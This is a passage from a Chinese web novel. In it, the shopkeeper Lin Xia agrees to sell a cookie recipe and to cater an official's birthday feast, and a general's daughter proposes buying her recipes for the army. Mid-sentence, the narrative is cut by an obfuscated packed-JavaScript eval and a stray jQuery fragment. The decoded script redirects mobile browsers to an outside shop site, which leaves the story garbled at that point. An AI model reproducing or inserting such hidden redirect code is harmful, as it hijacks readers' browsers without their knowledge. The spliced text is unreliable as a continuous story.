等了她好久?
林夏脑子转不过弯了。
虽有阿玉童言无忌的成分在,可顾甫之一见她就横挑鼻子竖挑眼,能有什么好事?
她这段日子多安生啊,既不碰瓷,也不讹钱,顾大人是又揪着她什么小辫子了?思来想去,也只有蒋大力那件事,可那件事跟她有什么关系,又不是她打了人!
林夏在原地怔了一会儿,想不明白顾甫之到底要做什么。
顾甫之被她直勾勾的眼神盯得心里发毛,不自然地撇开视线,清了清嗓子,司琴顺势走上前,呈上此次的赏银。
“林掌柜,这是官府的赏银。”司琴露出个狗腿子的笑,“这次能有那群贼人的线索,还多亏了您。”
他的语气让林夏不自觉回想起深宫大内的一群人。
林夏接都没接,赶紧一口回绝:“岂敢岂敢,都是大人领导有方,我不过随口说说而已。”
看他们俩进来半天也没人招呼,林夏立即被司琴的狗腿子劲儿传染。
“二位快坐!”说着,林夏赶紧给他们上茶上茶点,还贴心地将三色曲奇在盘中摆成宝塔形。
顾甫之定睛片刻,选了块龙井口味的。
林夏立在一旁,拼命给阿玉使眼色,阿玉扁着嘴,不情不愿地扯着壮壮的手,两个小泥人走到后院换衣服。
“大人觉得味道如何?”
顾甫之淡然道:“尚可。”
林夏又觉得自己热脸贴了冷屁股,不,贴了冷脸。
她心念一转,笑眯眯地说:“大人说的赏银……”
顾甫之侧目。
“我就不要了!”林夏义正言辞地说,“我本就没什么功劳,贸然接受赏赐,自己良心都不安呢!”
顾甫之没说什么,只静静看着她,林夏却品出一股“讹我的时候也没见你良心不安”的意味。
“如此便罢了。”顾甫之移开视线,垂目道:“林掌柜,本官还有两个不情之请。”
两个?
“大人请讲。”
顾甫之手中折扇轻点桌案:“此物滋味不错,料家中长辈也喜欢,本官想从林掌柜这里买下配方,不知一百两可否?”
他刚说完,林夏就瞧着司琴从怀里掏出一张交子递了过来。
这简直是天上掉馅饼,砸得林夏喜出望外!
“可”字就在嘴边,林夏倏尔冷静下来。
等等!哪有这么好的事情!
从她这里买不是更简单,为何要配方?
那就是对她做的不放心呗。
一种随手刮刮乐刮出终极大奖的喜悦充盈在林夏胸膛中,顾甫之何许人也,他家长辈……
林夏开始飘飘然,她的金字招牌、她的御厨、她的黄马褂……
“难道一百两不够?”顾甫之又问。
“够够够!”林夏点头如捣蒜,“不过……大人,此物没什么难度,一百两太多了。”
这钱拿得林夏心慌,她又不想要了。
顾甫之不冷不热瞥了她一眼,接着说:“本官还有一个不情之请,林掌柜听完再做决定。”
林夏敛起笑,恭敬地听着。
“本官下月初七的生辰,想请林掌柜执掌生辰宴,报酬嘛……”顾甫之顿住,缓缓抬头看向林夏,似乎在等她开口。
“初七?”林夏皱眉,那不就是七夕吗,顾甫之这般清冷模样,居然还是个七月七生的多情种子。
“可以是可以。”林夏答应的不痛快。
宴会从古至今都不容易,尤其是有钱人的宴会。一个她,最多再来个小平,长公主府的灶台还不一定能用,想想就头大。
沉思了一会儿,林夏走到柜台后拿出纸笔,顾甫之看她心事重重的模样,心里没来由地失落。
她端着纸笔在顾甫之对面坐下,神情格外认真:“顾大人,如今已是六月下旬,时间紧张。需请您把宴会的大致情况跟我说一下,我才好判断能不能接。”
还需确认人数、桌数、主菜、荤素搭配、忌口情况,以及出餐动线和厨房条件。
林夏每问出一个问题,顾甫之的眉头皱得就更紧一分。
等林夏问完,顾甫之眉头松开,叹了口气,“林掌柜,若是方便,本官可以带你到长公主府亲自看一圈。”
“那就太好了!越快越好!”林夏眼睛亮了,握了握拳:“顾大人,奶酥曲奇的配方和寿宴的酬劳……找零也不方便,我就收您一百两。”
怕顾甫之不乐意,林夏又递给他一个小木牌:“我再送您一张本店终身会员卡,您以后过来,不管吃什么,都是五折,还不用等座!”
顾甫之哑然失笑,摇了摇头,又看见林夏那一手狗趴似的字,彻底笑不出来了。
他移开视线,示意司琴给钱,司琴交了钱换了个木牌,总觉得自己亏大了。
“那就三日后。”顾甫之道:“三日后我休沐,届时让司琴来接林掌柜。”
林夏脆生生应道:“好嘞!”
主仆二人起身离开,林夏去送了两步,到店门口时,顾甫之对司琴小声交代了几句,司琴小跑去府衙后门。
林夏送人送到门口任务就完成了,转身之前,听到顾甫之唤了她一声。
“林掌柜。”顾甫之望了过来,目光沉静中甚至有一分严肃郑重,搞得林夏莫名开始紧张。
他拱手道:“某先前对林掌柜多有误解,只道你不过是个精于算计、逐利而行的寻常商贾,但林掌柜多次出手相助,对某有救命之恩不图回报,是某眼拙,以貌取人,以身份断人,今日当面说这声对不住,也望林掌柜……莫要再记恨某了。”
一开始听他变了称呼,林夏没反应过来,越往后听,林夏反而惶恐起来。
好正式!要是不知道的,还以为他在跟她告白呢!
“不碍事,”林夏依旧挂着笑,只是多了几分不自然:“于公于私,我才该谢谢大人不计较我的顶撞。”
顾甫之微微颔首:“今日多有打扰,三日后再见。”
回店里坐下,缓了许久,林夏的心脏还怦怦乱跳个不停。
失策了!上辈子她怎么就没追个星,这辈子见到个长得帅的,稍微对她释放一点魅力,她就完全招架不住了!
方才店里几个人在谈话,阿玉被姜云娘拦着不许进去,好不容易熬到顾甫之走,阿玉急忙冲到林夏身边,跟牛皮糖一样黏她身上。
“阿姊,顾大人找你何事呀?”
林夏点点她的小脑门:“小孩别问那么多。”
-
献国公楚廉回京后接任殿前都指挥使一职,他武举出身,与发妻育有二子一女,发妻亡故后未再娶,常年混迹军营之中。
二子早早成家,现今都在军中担任要职,唯有小女,是他心头一大烦难。
小女幼时,他忙于公务疏忽管教,眼看要到出嫁的年纪,却……
楚廉一回府,便差人叫小悠上前来问话:“七娘子最近都去了哪儿,见了什么人?”
自家主君是实实在在战场上拼杀出来的功绩,平日里不笑就跟阎王似的,更别提故意板着脸。
小悠垂着脑袋不敢抬头,腿都软了。
“回殿帅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748522|206027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的话,七娘子前些日子去了长公主府赏花,而后就在汴京城里……四处逛逛,也没见旁的人,不过今日五娘子来看她,两人正在花厅说话。”
四处逛逛?楚廉捏了捏眉心,怕是四处吃吃吧。
没有亲娘照顾,长嫂虽对轻雨体贴呵护、无微不至,可到底不是自家孩子,只宠着、惯着,不知不觉间就养成了个贪吃的坏毛病。
“对了,七娘子给殿帅带了点心。”小悠呈上食盒,正是林夏给的三色曲奇。
别看盒子里没两块,还是她好不容易从楚轻雨嘴里夺下来的。
楚廉叹息:“是她有心,让人通报一声,我去她院中看看她。”
献国公府的宅子是前朝王爷的宅邸,官家赏赐后未让人改建,依制是逾矩的。
这是靠什么换来的,楚廉心里一清二楚,他一母同胞的五个兄弟在战场上只剩他和大哥两个,他承袭爵位后,大哥一辈子不入仕途,只做个闲散读书人。
楚廉进院子的时候,楚轻雨还在花厅之下抓着五娘子的手,眉飞色舞讲着小食堂的美妙滋味。
五娘子跟楚轻雨的生辰只相差半月,从小跟亲姐妹一般无二。
“五姐姐,你这辈子怕是都没吃过甜口的猪肉!”
楚忆荷秀眉轻蹙,捂了下口鼻,满脸一言难尽,“七妹妹,这猪肉……能吃吗?”
“怎么不能吃?”楚廉的声音从身后传来,二人急忙起身行礼。
“父亲。”
“叔父。”
楚廉居于主位,坦言道:“行军打仗之时,有荤腥已是不易,哪来的挑三拣四?不过滋味嘛……唉,莫要再提。”
楚忆荷已定了亲、换了庚帖,明年秋天就要出嫁了。
闻言,她咯咯笑了两声,“那叔父有机会,可要尝尝七妹妹口中的肉滋味有多美妙。”
“是啊,父亲。”楚轻雨攥了攥衣袖,有些紧张。
楚廉严肃且刻板,她年纪也不小了,不能作小儿姿态,时间久了,父女二人之间的关系越来越生疏,常常一顿饭下来也说不了两句话。
而楚廉呢,衣物首饰他不懂,孩子大了,他又不能聊军中的事,相顾无言,遭罪的还是自己。
“嗯。”楚廉呷了口茶,余光瞥见桌上似曾相识的茶点。
小悠将茶点端到楚廉面前,“殿帅请用。”
楚廉捡了一块,一入口,那股浓浓的牛乳香立刻在口腔中弥散开来,仔细咀嚼,每一口都是香甜酥脆,其中还夹杂着果脯,金桔或是杏子,酸味刚好中和了甜腻,十分可口。
“父亲,您尝尝浅碧色那块,是龙井口味的。”楚轻雨小声提示。
父亲自诩粗人,平日不好口舌之欲,她没指望楚廉喜欢。
可楚廉听完后,竟真的又捏了一块曲奇,楚轻雨又紧张又惊喜,忍不住靠近了些。
“父亲,您觉得滋味如何?”
茶香清雅,甜味相比较原先的减了几分,恰好这抹微苦更让人上瘾。
“不错。”楚廉沉声点头。
“不如……由咱们家出面,把这配方买下来,父亲觉得可好?”
楚轻雨第一次吃到小食堂的红烧肉时就有了主意,若是这配方能被他们买来,日后军营中,父亲也能吃上可口的饭菜。
“好主意啊!”楚忆荷也觉得不错,军中伙食差都是出了名的。
能做熟、吃不坏人就行,要是滋味上更好一些,也能减少将士们的思乡之情。
楚廉沉思片刻,应了这个主意,但他又说:“月初我能空出日子,你带我去那食肆瞧瞧。”